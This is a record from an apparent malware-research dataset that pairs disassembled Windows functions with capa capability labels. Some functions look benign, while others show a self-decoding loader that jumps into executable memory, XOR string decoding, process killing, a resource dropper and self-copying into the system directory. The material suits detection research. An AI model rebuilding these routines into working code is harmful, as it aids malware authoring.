joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4bb5c1
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a4
mov edx, dword [ebp + 8]
xor ecx, ecx
mov eax, 0x4c33a0
cmp edx, dword [eax]
je 0x4bb5e3
add eax, 8
inc ecx
cmp eax, 0x4c3430
jl 0x4bb5d4
push esi
mov esi, ecx
shl esi, 3
cmp edx, dword [esi + 0x4c33a0]
jne 0x4bb711
mov eax, dword [0x4c7d2c]
cmp eax, 1
je 0x4bb6eb
test eax, eax
jne 0x4bb614
cmp dword [0x4c32cc], 1
je 0x4bb6eb
cmp edx, 0xfc
je 0x4bb711
lea eax, [ebp - 0x1a4]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x4bb64b
lea eax, [ebp - 0x1a4]
push str._program_name_unknown_
push eax
call fcn.004bbfa0
pop ecx
pop ecx
lea eax, [ebp - 0x1a4]
push edi
push eax
lea edi, [ebp - 0x1a4]
call fcn.004bc430
inc eax
pop ecx
cmp eax, 0x3c
jbe 0x4bb68e
lea eax, [ebp - 0x1a4]
push eax
call fcn.004bc430
mov edi, eax
lea eax, [ebp - 0x1a4]
sub eax, 0x3b
push 3
add edi, eax
push 0x4c09ac
push edi
call fcn.004be300
add esp, 0x10
lea eax, [ebp - 0xa0]
push str.Runtime_Error__n_nProgram:
push eax
call fcn.004bbfa0
lea eax, [ebp - 0xa0]
push edi
push eax
call fcn.004bbfb0
lea eax, [ebp - 0xa0]
push 0x4c098c
push eax
call fcn.004bbfb0
push dword [esi + 0x4c33a4]
lea eax, [ebp - 0xa0]
push eax
call fcn.004bbfb0
push 0x12010
lea eax, [ebp - 0xa0]
push str.Microsoft_Visual_C_Runtime_Library
push eax
call fcn.004be274
add esp, 0x2c
pop edi
jmp 0x4bb711
lea eax, [ebp + 8]
lea esi, [esi + 0x4c33a4]
push 0
push eax
push dword [esi]
call fcn.004bc430
pop ecx
push eax
push dword [esi]
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop esi
leave
ret
Function at 0x407e15
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x42e180]
jne 0x407e1f
repz ret
jmp fcn.0040bc0c

Function at 0x417432
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x50
pushal
call 0x417441
pop dword [ebp - 0x40]
mov eax, 0x417441
sub dword [ebp - 0x40], eax
mov dword [ebp - 0x50], 0xe4987a41
add dword [ebp - 0x50], 0x69b9cb0a
mov dword [ebp - 0x4c], 0xd01ebb17
add dword [ebp - 0x4c], 0x6214912e
mov dword [ebp - 0x48], 0x898785c0
add dword [ebp - 0x48], 0xc2c4be6e
mov dword [ebp - 0x44], 0x27a0fe11
add dword [ebp - 0x44], 0xd85f01ef
lea eax, [ebp - 0x50]
push eax
mov eax, 0xa3a16ef3
sub eax, 0xa35f3e7f
add eax, dword [ebp - 0x40]
call dword [eax]
mov dword [ebp - 0x50], 0x6fd34536
sub dword [ebp - 0x50], 0xfb60dbe0
mov dword [ebp - 0x4c], 0x788ba8ec
sub dword [ebp - 0x4c], 0x371f4777
mov dword [ebp - 0x48], 0x54ee3cee
add dword [ebp - 0x48], 0xe812f7e
mov dword [ebp - 0x44], 0x1fd08cf
sub dword [ebp - 0x44], 0x1fd08cf
lea ebx, [ebp - 0x50]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x40]
call dword [eax]
push 0x40
push 0x1000
push 0x3b106
push 0
call eax
mov ecx, 0x964688ba
add ecx, 0x69b9b4b2
mov edx, eax
mov edi, 0x56db5df3
sub edi, 0x569819f3
add edi, dword [ebp - 0x40]
mov esi, 0xd68fca00
sub esi, 0xbbfa342b
mov ebx, dword [edi]
add dword [ebp - 0x30], edi
add ebx, esi
xor dword [ebp - 0x14], edi
mov dword [edx], ebx
add dword [ebp - 0x30], esi
add edx, 0x95ce70d6
add edx, 0x6a318f2e
add edi, 0x2a7b4b8b
add edi, 0xd584b479
loop 0x417559
add eax, 0x35a1c74c
add eax, 0xca5f2137
xor ebx, ebx
add ebx, eax
add eax, 0x6ab3ff64
sub eax, 0x6ab3ff5f
mov ecx, 0x2d589c6e
add ecx, 0xd2e76392
add ecx, dword [ebp - 0x40]
call ebx
leave
ret
Function at 0x401000
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
jmp 0x401018
mov ebx, dword [ebp + 8]
mov esi, dword [sym.imp.KERNEL32.DLL_lstrlenA]
push ebx
xor edi, edi
call esi
test eax, eax
jle 0x401036
xor byte [edi + ebx], 0xa5
push ebx
inc edi
call esi
cmp edi, eax
jl 0x40102a
pop edi
mov eax, ebx
pop esi
pop ebx
pop ebp
ret

Function at 0x40103d
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
jmp 0x401055
and dword [ebp - 4], 0
mov esi, 0x4030d4
push 0
push esi
call section..text
pop ecx
push eax
call dword [sym.imp.USER32.dll_FindWindowA]
push esi
mov ebx, eax
call section..text
test ebx, ebx
pop ecx
je 0x4010a2
lea eax, [ebp - 4]
push eax
push ebx
call dword [sym.imp.USER32.dll_GetWindowThreadProcessId]
cmp dword [ebp - 4], 0
je 0x4010a2
push dword [ebp - 4]
push 1
push 1
call dword [sym.imp.KERNEL32.DLL_OpenProcess]
push 0
push eax
call dword [sym.imp.KERNEL32.DLL_TerminateProcess]
pop esi
pop ebx
leave
ret
Function at 0x401110
Capabilities:
Query or enumerate registry value
Set registry value

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x100c
call fcn.004017e0
push ebx
push esi
push edi
jmp 0x401132
and byte [ebp - 0x100c], 0
mov ecx, 0x3ff
xor eax, eax
lea edi, [ebp - 0x100b]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
push 1
lea eax, [ebp - 4]
pop edi
mov esi, 0x4030ec
push eax
push 0xf003f
push 0
push esi
mov dword [ebp - 8], 0xfff
mov dword [ebp - 0xc], edi
call section..text
pop ecx
push eax
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x401186
xor eax, eax
jmp 0x4012d8
push esi
call section..text
pop ecx
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x100c]
push eax
lea eax, [ebp - 0xc]
push eax
mov esi, 0x403124
push 0
push esi
call section..text
pop ecx
push eax
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
je 0x4011bb
mov dword [ebp - 8], edi
push esi
call section..text
mov ebx, dword [ebp + 8]
pop ecx
test ebx, ebx
jne 0x401221
cmp dword [ebp - 8], edi
jbe 0x40120d
mov ebx, 0x403050
lea eax, [ebp - 0x100c]
push ebx
push eax
call fcn.004010a6
pop ecx
test eax, eax
pop ecx
jne 0x4012d6
mov edi, dword [sym.imp.KERNEL32.DLL_lstrcatA]
lea eax, [ebp - 0x100c]
push 0x403134
push eax
call edi
lea eax, [ebp - 0x100c]
push ebx
push eax
call edi
jmp 0x401293
lea eax, [ebp - 0x100c]
push 0x403050
push eax
call dword [sym.imp.KERNEL32.DLL_lstrcpyA]
jmp 0x401296
and dword [ebp + 8], 0
cmp dword [ebx], 0
jle 0x401296
lea edi, [ebx + 4]
cmp dword [ebp + 8], 0x32
jge 0x401293
and byte [edi + 0x1f], 0
push edi
call dword [sym.imp.KERNEL32.DLL_lstrlenA]
test eax, eax
jle 0x401286
lea eax, [ebp - 0x100c]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrlenA]
test eax, eax
jle 0x401278
lea eax, [ebp - 0x100c]
push edi
push eax
call fcn.004010a6
pop ecx
test eax, eax
pop ecx
jne 0x401286
lea eax, [ebp - 0x100c]
push 0x403134
push eax
call dword [sym.imp.KERNEL32.DLL_lstrcatA]
lea eax, [ebp - 0x100c]
push edi
push eax
call dword [sym.imp.KERNEL32.DLL_lstrcatA]
inc dword [ebp + 8]
add edi, 0x20
mov eax, dword [ebp + 8]
cmp eax, dword [ebx]
jl 0x40122d
push 1
pop edi
lea eax, [ebp - 0x100c]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrlenA]
inc eax
push eax
lea eax, [ebp - 0x100c]
push eax
push edi
push 0
push esi
call section..text
pop ecx
push eax
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
je 0x4012c6
xor edi, edi
push esi
call section..text
pop ecx
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, edi
pop edi
pop esi
pop ebx
leave
ret
Function at 0x4012dd
Capabilities:
Extract resource via kernel32 functions
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
jmp 0x4012f6
movzx eax, word [ebp + 0x10]
push dword [ebp + 0x14]
push eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.DLL_FindResourceA]
mov esi, eax
push esi
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.DLL_LoadResource]
push eax
mov dword [ebp + 0x10], eax
call dword [sym.imp.KERNEL32.DLL_LockResource]
push esi
mov dword [ebp + 0x14], eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.DLL_SizeofResource]
mov esi, eax
xor ebx, ebx
cmp esi, ebx
je 0x401366
push ebx
push ebx
push 2
push ebx
push ebx
push 0x40000000
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.DLL_CreateFileA]
mov edi, eax
cmp edi, ebx
je 0x401366
lea eax, [ebp - 4]
push ebx
push eax
push esi
push dword [ebp + 0x14]
push edi
call dword [sym.imp.KERNEL32.DLL_WriteFile]
push edi
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
push 1
pop ebx
push dword [ebp + 0x10]
call dword [sym.imp.KERNEL32.DLL_FreeResource]
pop edi
mov eax, ebx
pop esi
pop ebx
leave
ret
Function at 0x401424
Capabilities:
Create process on windows
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x660
push esi
push edi
jmp 0x401441
lea eax, [ebp - 0x15c]
push 0x104
push eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.DLL_GetModuleFileNameA]
lea eax, [ebp - 0x15c]
push eax
lea eax, [ebp - 0x260]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrcpyA]
mov edi, 0x403040
push edi
call section..text
mov esi, dword [sym.imp.KERNEL32.DLL_lstrcatA]
pop ecx
push eax
lea eax, [ebp - 0x15c]
push eax
call esi
push edi
call section..text
pop ecx
xor edi, edi
push edi
push 0x80
push 2
push edi
push 1
lea eax, [ebp - 0x15c]
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.DLL_CreateFileA]
cmp eax, edi
mov dword [ebp + 8], eax
je 0x4015a7
push ebx
mov ebx, 0x403010
push ebx
call section..text
pop ecx
push eax
lea eax, [ebp - 0x660]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrcpyA]
push ebx
call section..text
pop ecx
lea eax, [ebp - 0x260]
push eax
lea eax, [ebp - 0x660]
push eax
call esi
mov ebx, 0x40301c
push ebx
call section..text
pop ecx
push eax
lea eax, [ebp - 0x660]
push eax
call esi
push ebx
call section..text
pop ecx
lea eax, [ebp - 0x260]
push eax
lea eax, [ebp - 0x660]
push eax
call esi
mov ebx, 0x40302c
push ebx
call section..text
pop ecx
push eax
lea eax, [ebp - 0x660]
push eax
call esi
push ebx
call section..text
pop ecx
lea eax, [ebp - 4]
push edi
push eax
lea eax, [ebp - 0x660]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrlenA]
push eax
lea eax, [ebp - 0x660]
push eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.DLL_WriteFile]
push dword [ebp + 8]
mov esi, dword [sym.imp.KERNEL32.DLL_CloseHandle]
call esi
push 0x44
lea eax, [ebp - 0x58]
push edi
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp - 0x14]
mov dword [ebp - 0x2c], 1
mov word [ebp - 0x28], di
push eax
lea eax, [ebp - 0x58]
push eax
push edi
push edi
push pe_nt_image_headers32
push edi
push edi
lea eax, [ebp - 0x15c]
push edi
push eax
push edi
call dword [sym.imp.KERNEL32.DLL_CreateProcessA]
pop ebx
test eax, eax
je 0x4015a7
push dword [ebp - 0x10]
call esi
push dword [ebp - 0x14]
call esi
pop edi
pop esi
leave
ret
Function at 0x4015ab
Capabilities:
Copy file
Create process on windows
Create thread
Get common file path
Read file via mapping

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x210
push ebx
push esi
push edi
jmp 0x4015c9
push 0x403148
xor edi, edi
push dword [ebp + 0x10]
mov dword [ebp - 4], edi
call dword [sym.imp.KERNEL32.DLL_lstrcmpA]
mov ebx, dword [sym.imp.KERNEL32.DLL_lstrcpyA]
mov esi, 0x403050
test eax, eax
jne 0x40161c
mov dword [ebp - 4], 1
mov edi, 0x644
push 0x403140
push edi
push 0
push 4
push 0
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.DLL_CreateFileMappingA]
test eax, eax
mov dword [ebp + 0x10], eax
jne 0x401667
push 0x64
call dword [sym.imp.KERNEL32.DLL_Sleep]
jmp 0x4015f7
and byte [0x4030cf], 0
push esi
call section..text
pop ecx
push esi
call dword [sym.imp.KERNEL32.DLL_lstrlenA]
cmp eax, 0x1f
jle 0x401640
lea eax, [eax + 0x403031]
push eax
push esi
call ebx
lea eax, [ebp + 0x10]
push eax
push edi
push dword [ebp + 8]
push 0x401376
push edi
push edi
call dword [sym.imp.KERNEL32.DLL_CreateThread]
cmp dword [0x403164], edi
jne 0x4015f2
push 0x64
call dword [sym.imp.KERNEL32.DLL_Sleep]
jmp 0x401655
call dword [sym.imp.KERNEL32.DLL_GetLastError]
xor ecx, ecx
cmp eax, 0xb7
setne cl
xor eax, eax
mov dword [ebp - 8], ecx
push eax
push eax
push eax
push 6
push dword [ebp + 0x10]
call dword [sym.imp.KERNEL32.DLL_MapViewOfFile]
xor ecx, ecx
cmp eax, ecx
je 0x4017a8
cmp dword [ebp - 4], ecx
mov dword [0x403160], eax
jne 0x4017c3
cmp dword [ebp - 8], ecx
je 0x40178c
push edi
push ecx
push eax
call sub.MSVCRT.dll_memset
mov eax, dword [0x403160]
add esp, 0xc
mov dword [eax], 1
mov eax, dword [0x403160]
add eax, 4
push esi
push eax
call ebx
mov edi, 0x104
lea eax, [ebp - 0x210]
push edi
push eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.DLL_GetModuleFileNameA]
lea eax, [ebp - 0x10c]
push edi
push eax
call dword [sym.imp.KERNEL32.DLL_GetSystemDirectoryA]
mov edi, dword [sym.imp.KERNEL32.DLL_lstrcatA]
lea eax, [ebp - 0x10c]
push 0x403138
push eax
call edi
lea eax, [ebp - 0x10c]
push esi
push eax
call edi
lea eax, [ebp - 0x10c]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrlenA]
lea ecx, [ebp - 0x10c]
sub ecx, 4
add eax, ecx
cmp byte [eax], 0x2e
jne 0x40172f
and byte [eax], 0
mov esi, 0x403048
push esi
call section..text
pop ecx
push eax
lea eax, [ebp - 0x10c]
push eax
call edi
push esi
call section..text
pop ecx
lea eax, [ebp - 0x10c]
push 0
push eax
lea eax, [ebp - 0x210]
push eax
call dword [sym.imp.KERNEL32.DLL_CopyFileA]
lea eax, [ebp - 0x10c]
push 0x40313c
push eax
call edi
lea eax, [ebp - 0x10c]
push 0
push eax
call dword [sym.imp.KERNEL32.DLL_WinExec]
push 0x3e8
call dword [sym.imp.KERNEL32.DLL_Sleep]
jmp 0x4017b1
mov ecx, dword [eax]
cmp ecx, 0x32
jge 0x4017a8
inc ecx
push esi
mov dword [eax], ecx
mov eax, dword [0x403160]
mov ecx, dword [eax]
shl ecx, 5
lea eax, [ecx + eax - 0x1c]
push eax
call ebx
push dword [ebp + 0x10]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
push dword [ebp + 8]
call fcn.00401424
pop ecx
pop edi
pop esi
xor eax, eax
pop ebx
leave
ret 0x10
push dword [0x403160]
call fcn.00401110
pop ecx
push 0xa
call dword [sym.imp.KERNEL32.DLL_Sleep]
jmp 0x4017c3
Function at 0x408ff8
Capabilities:
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffdf0
mov dword [ebp - 0xc], ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov byte [ebp - 0xd], 0
push 0x200
lea eax, [ebp - 0x20e]
push eax
mov eax, dword [ebp - 8]
push eax
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegEnumKeyW
test eax, eax
jne 0x409042
mov eax, dword [ebp - 0xc]
lea edx, [ebp - 0x20e]
mov ecx, pe_nt_image_headers32
call sub.RtlVcl160.bpl__System__UStrFromWArray_qqrr20System_UnicodeStringpbi
mov byte [ebp - 0xd], 1
mov al, byte [ebp - 0xd]
mov esp, ebp
pop ebp
ret

Function at 0x40904c
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffdec
mov dword [ebp - 0xc], ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov byte [ebp - 0xd], 0
mov dword [ebp - 0x14], 0x200
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x214]
push eax
mov eax, dword [ebp - 8]
call sub.RtlVcl160.bpl__System__UStrToPWChar_qqrx20System_UnicodeString
push eax
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegQueryValueW
test eax, eax
jne 0x4090a1
mov eax, dword [ebp - 0xc]
lea edx, [ebp - 0x214]
mov ecx, pe_nt_image_headers32
call sub.RtlVcl160.bpl__System__UStrFromWArray_qqrr20System_UnicodeStringpbi
mov byte [ebp - 0xd], 1
mov al, byte [ebp - 0xd]
mov esp, ebp
pop ebp
ret
Function at 0x41a58c
Capabilities:
Get file version info

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffc8
xor ecx, ecx
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x30], ecx
mov dword [ebp - 0x34], ecx
mov dword [ebp - 0x38], ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call sub.RtlVcl160.bpl__System__UStrAddRef_qqrpv
xor eax, eax
push ebp
push 0x41a6e7
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x1c]
push eax
mov eax, dword [ebp - 4]
call sub.RtlVcl160.bpl__System__UStrToPWChar_qqrx20System_UnicodeString
push eax
call sub.version.dll_GetFileVersionInfoSizeW
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
call sub.RtlVcl160.bpl__System__GetMem_qqri
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
push eax
mov eax, dword [ebp - 0xc]
push eax
push 0
mov eax, dword [ebp - 4]
call sub.RtlVcl160.bpl__System__UStrToPWChar_qqrx20System_UnicodeString
push eax
call sub.version.dll_GetFileVersionInfoW
cmp dword [ebp - 0xc], 0
jbe 0x41a6b7
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x18]
push eax
push 0x41a6f4
mov eax, dword [ebp - 0x10]
push eax
call sub.version.dll_VerQueryValueW
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x28]
mov eax, dword [eax + 8]
shr eax, 0x10
mov word [ebp - 0x1e], ax
mov eax, dword [ebp - 0x28]
mov ax, word [eax + 8]
and ax, 0xffff
mov word [ebp - 0x20], ax
mov eax, dword [ebp - 0x28]
mov eax, dword [eax + 0xc]
shr eax, 0x10
mov word [ebp - 0x22], ax
mov eax, dword [ebp - 0x28]
mov ax, word [eax + 0xc]
and ax, 0xffff
mov word [ebp - 0x24], ax
mov edx, dword [ebp - 0xc]
mov eax, dword [ebp - 0x10]
call sub.RtlVcl160.bpl__System__FreeMem_qqrpv
lea edx, [ebp - 0x2c]
movzx eax, word [ebp - 0x1e]
call sub.RtlVcl160.bpl__System_Sysutils_IntToStr_qqri
push dword [ebp - 0x2c]
push 0x41a704
lea edx, [ebp - 0x30]
movzx eax, word [ebp - 0x20]
call sub.RtlVcl160.bpl__System_Sysutils_IntToStr_qqri
push dword [ebp - 0x30]
push 0x41a704
lea edx, [ebp - 0x34]
movzx eax, word [ebp - 0x22]
call sub.RtlVcl160.bpl__System_Sysutils_IntToStr_qqri
push dword [ebp - 0x34]
push 0x41a704
lea edx, [ebp - 0x38]
movzx eax, word [ebp - 0x24]
call sub.RtlVcl160.bpl__System_Sysutils_IntToStr_qqri
push dword [ebp - 0x38]
mov eax, dword [ebp - 8]
mov edx, 7
call sub.RtlVcl160.bpl__System__UStrCatN_qqrv
jmp 0x41a6c4
mov eax, dword [ebp - 8]
mov edx, 0x41a714
call sub.RtlVcl160.bpl__System__UStrAsg_qqrr20System_UnicodeStringx20System_UnicodeString
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x41a6ee
lea eax, [ebp - 0x38]
mov edx, 4
call sub.RtlVcl160.bpl__System__UStrArrayClr_qqrpvi
lea eax, [ebp - 4]
call sub.RtlVcl160.bpl__System__UStrClr_qqrpv
ret
Function at 0x4ec7be47
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov cx, word [ebp + 0x14]
or word [eax + 0x84], 0xffff
push ebx
push esi
push edi
mov word [eax + 0x32], cx
mov cx, word [ebp + 0x10]
xor edx, edx
mov word [eax + 0x20], cx
push 9
pop ecx
mov ebx, 0x4ec7bf30
mov esi, ebx
lea edi, [eax + 0x44]
rep movsd dword es:[edi], dword [esi]
movzx ecx, word [ebp + 0x14]
mov esi, dword [ebp + 0xc]
imul ecx, ecx, 0x38
mov byte [eax], 0x47
mov byte [eax + 1], 0x44
mov dword [eax + 4], edx
mov dword [eax + 8], edx
mov dword [eax + 0xc], edx
mov dword [eax + 0x1c], 3
mov dword [eax + 0x10], edx
mov dword [eax + 0x14], edx
mov dword [eax + 0x6c], edx
mov dword [eax + 0x70], edx
mov dword [eax + 0x68], edx
mov word [eax + 0x22], 0x7fff
mov word [eax + 0x24], 0x7fff
mov word [eax + 0x26], 0x8000
mov word [eax + 0x28], 0x8000
mov word [eax + 0x86], dx
mov dword [eax + 0x88], edx
mov word [eax + 0x2a], dx
mov word [eax + 0x2e], dx
mov dword [eax + 0x34], 2
mov dword [eax + 0x38], edx
mov word [eax + 0x3c], dx
mov word [eax + 0x3e], dx
mov word [eax + 0x40], dx
mov word [eax + 0x42], dx
mov dword [eax + 0x74], edx
mov dword [eax + 0x78], edx
mov dword [eax + 0x7c], edx
mov dword [eax + 0x80], edx
mov esi, dword [esi + 8]
add ecx, esi
push 9
mov dword [eax + 0x8c], ecx
mov word [ecx + 0x28], dx
pop ecx
mov esi, ebx
lea edi, [eax + 0x90]
rep movsd dword es:[edi], dword [esi]
pop edi
pop esi
mov dword [eax + 0xb4], 1
pop ebx
pop ebp
ret 0x10

Function at 0x4ec7f3d4
Capabilities:
Get file size

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x118
mov eax, dword [section..data]
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
push ebx
mov dword [ebp - 4], eax
call fcn.4ec62683
inc eax
push 0x18
mov dword [ebp - 0x118], eax
call fcn.4ec52209
mov esi, eax
xor edi, edi
cmp esi, edi
je 0x4eccc877
mov dword [esi], edi
mov dword [esi + 4], edi
mov dword [esi + 0xc], edi
mov dword [esi + 0x10], edi
mov dword [esi + 8], edi
mov dword [esi + 0x14], ebx
cmp dword [0x4edd01d8], edi
je 0x4eccc832
push edi
push 0x80
push 3
push edi
push 1
push 0x80000000
push ebx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x114], eax
cmp dword [ebp - 0x114], 0xffffffff
je 0x4ec7f49a
push edi
push dword [ebp - 0x114]
call dword [sym.imp.KERNEL32.dll_GetFileSize]
cmp eax, edi
mov dword [esi + 0x10], eax
je 0x4ec7f49a
push esi
push edi
push edi
push dword [ebp - 0x114]
call dword [sym.imp.KERNEL32.dll_GetFileTime]
test eax, eax
je 0x4ec7f49a
push dword [ebp - 0x114]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push edi
push esi
push dword [ebp - 0x118]
push ebx
call fcn.4ec81672
jmp 0x4eccc879
leave
ret 4
push esi
call fcn.4ec5246a
jmp 0x4eccc877
push ebx
lea ecx, [ebp - 0x110]
call fcn.4ec8681d
cmp dword [ebp - 0x110], 0x55464131
jne 0x4eccc86b
push edi
push 0x80
push 3
push edi
push 1
push 0x80000000
push dword [ebp - 0x10c]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
jmp 0x4ec7f441
or dword [ebp - 0x114], 0xffffffff
jmp 0x4ec7f447
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
pop ebx
call fcn.4ecfd994
jmp 0x4ec7f496
Function at 0x4ec80912
Capabilities:
Query or enumerate registry value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x21c
cmp dword [0x4edd02cc], 0
mov eax, dword [section..data]
push esi
mov esi, dword [ebp + 8]
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0xc]
push edi
mov edi, dword [ebp + 0x10]
je 0x4ecd4399
mov ecx, dword [ebp + 0x14]
mov dword [ebp - 0x21c], ecx
lea ecx, [ebp - 0x21c]
push ecx
push edi
lea ecx, [ebp - 0x218]
push ecx
push 0
push eax
push esi
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x4ecd440e
cmp dword [ebp - 0x218], 1
jne 0x4ecd43ec
jmp 0x4ecd440e
leave
ret 0x10
push eax
lea ecx, [ebp - 0x214]
call fcn.4ec8681d
cmp dword [ebp - 0x214], 0x55464131
jne 0x4ecd43ec
lea eax, [ebp - 0x21c]
push eax
lea eax, [ebp - 0x108]
push eax
lea eax, [ebp - 0x218]
push eax
push 0
push dword [ebp - 0x210]
mov dword [ebp - 0x21c], 0x104
push esi
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x4ecd440e
cmp dword [ebp - 0x218], 1
je 0x4ecd43f1
push 0xd
pop eax
jmp 0x4ecd440e
mov eax, dword [ebp + 0x14]
shr eax, 1
push eax
push edi
lea eax, [ebp - 0x108]
push eax
call fcn.4ecff6cb
neg eax
sbb eax, eax
and eax, 0xfffffff3
add eax, 0xd
mov ecx, dword [ebp - 4]
pop edi
pop esi
call fcn.4ecfd994
jmp 0x4ec80979
Function at 0x4ec86918
Capabilities:
Get file size
Read file via mapping

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
push edi
push dword [ebp + 8]
mov esi, ecx
call fcn.4ec865fb
xor ebx, ebx
cmp eax, ebx
mov dword [esi + 0x20], eax
je 0x4ecd4468
push 0x80
push 3
push 1
push 0x80000000
push dword [ebp + 8]
call fcn.4ec866c8
cmp eax, 0xffffffff
mov dword [esi + 0x1c], eax
jne 0x4ecd4472
call fcn.4ec8696c
pop edi
pop esi
pop ebx
leave
ret 4
mov eax, 0x8007000e
jmp 0x4ec86960
lea ecx, [ebp - 4]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetFileSize]
cmp eax, 0xffffffff
mov dword [ebp - 8], eax
je 0x4ec8695b
cmp dword [ebp - 4], ebx
jne 0x4ec8695b
push ebx
push ebx
push ebx
push 2
push ebx
push dword [esi + 0x1c]
call dword [sym.imp.KERNEL32.dll_CreateFileMappingA]
cmp eax, ebx
mov dword [ebp + 8], eax
je 0x4ec8695b
push ebx
push ebx
push ebx
push 4
push eax
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
push dword [ebp + 8]
mov edi, eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp edi, ebx
je 0x4ec8695b
mov eax, dword [ebp - 8]
mov dword [esi + 0x10], eax
mov dword [esi + 0xc], edi
mov dword [esi + 0x14], ebx
mov dword [esi + 0x18], 4
xor eax, eax
jmp 0x4ec86960

Function at 0x4eca2968
Capabilities:
Create thread

Disassembly:
mov edi, edi
push ebx
push edi
xor edi, edi
push edi
push edi
push 1
push edi
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov ebx, eax
cmp ebx, edi
je 0x4ecc0d18
push esi
mov esi, 0x4edd09b8
push esi
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
push esi
mov dword [0x4edd0a18], ebx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
push 0x4edd0a14
push edi
push edi
push 0x4ec672b0
push edi
push edi
call dword [sym.imp.KERNEL32.dll_CreateThread]
cmp eax, edi
mov dword [0x4edd097c], eax
pop esi
je 0x4ecc0d18
xor eax, eax
inc eax
mov dword [0x4edd0a10], eax
pop edi
pop ebx
ret
call fcn.4ec6720e
xor eax, eax
jmp 0x4eca29c7